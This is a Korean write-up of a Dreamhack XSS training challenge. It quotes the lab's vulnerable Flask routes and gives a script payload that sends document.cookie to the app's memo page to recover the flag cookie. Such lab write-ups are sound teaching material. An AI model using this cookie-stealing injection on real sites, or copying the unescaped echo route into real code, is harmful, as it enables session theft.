본 문제는 Dreamhack을 통해서 풀어 보실 수 있습니다.

해답을 이해하며 생각을 해보면서 풀이 해보시길 바랍니다.

문제 내용

문제는 dreamhack.io를 들어가시면 확인할 수 있습니다.

해당 문제는 드림핵 Cross Site Script 로드맵에 등장하는 첫번째 문제이다.

접속 정보와 해당 서버를 구성하는 app.py 파일이 존재한다.

XSS 취약점을 이용해서 flag를 가져와야한다.

접속했을 때 위 처럼 3개의 링크가 존재하는 것을 알 수 있다.

문제 풀이

  • vuln(xss)page : 해당 링크를 접속하면 1 이라는 Alert가 뜨는데 해당 URL을 보면 http://host3.dreamhack.games:17344/vuln?param=%3Cscript%3Ealert(1)%3C/script%3E로 되어 있다.

  • memo : 접속 시 hello라는 문구가 있다. 재접속을 할 때 마다 한 줄씩 늘어나게 된다.

app.py를 보고 어떤 식인지 확인해보겠습니다.

@app.route("/vuln")
def vuln():
    param = request.args.get("param", "")
    return param

vuln page로 사용자가 입력한 값을 인자로 가져온다. 결국 param의 값은 <scrpit>alert(1)</scrpit>였다는 것을 알 수 있고, URL을 보면 해당 parameter가 있다.

즉, 해당 부분에서는 XSS 취약점이 발생한다는 것을 알 수 있따.

@app.route("/memo")
def memo():
    global memo_text
    text = request.args.get("memo", "")
    memo_text += text + "\n"
    return render_template("memo.html", memo = memo_text)

memo 페이지는 사용자가 입력한 memo 입력 값을 memo_text += text + "\n"로 추가하여 memo.html을 통해 우리의 입력 값을 보여준다.

@app.route("/flag", methods=["GET", "POST"])
def flag():
    if request.method == "GET":
        return render_template("flag.html")
    elif request.method == "POST":
        param = request.form.get("param")
        if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
            return '<script>alert("wrong??");history.go(-1);</script>'

        return '<script>alert("good");history.go(-1);</script>'

GET 메소드 이용 시 flag.html를 제공하며, POST 메소드 이용시 check_xss의 함수를 거치는 것을 알 수 있다.

if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):

def check_xss(param, cookie={"name": "name", "value": "value"}):
    url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
    return read_url(url, cookie)

check_xss의 인자로는 paramcookie인데 cookie를 보면 해당 이름은 flag, 그에 대한 값은 FLAG.strip() FLAG의 시작과 끝의 공백을 제거하여 값을 전달한다.

해당 url 접속 시 cookie에 해당 FLAG가 포함되는 것을 알 수 있다.

memo를 통해 입력 값을 기록할 수 있고, check_xss를 통해 cookie의 포함된 flag를 알 수 있다.

<script>location.href = "/memo?memo = " + document.cookie;</script>

해당 페이로드를 전송하고 다시 memo로 들어가면 FLAG가 입력되어 있는 것을 알 수 있다.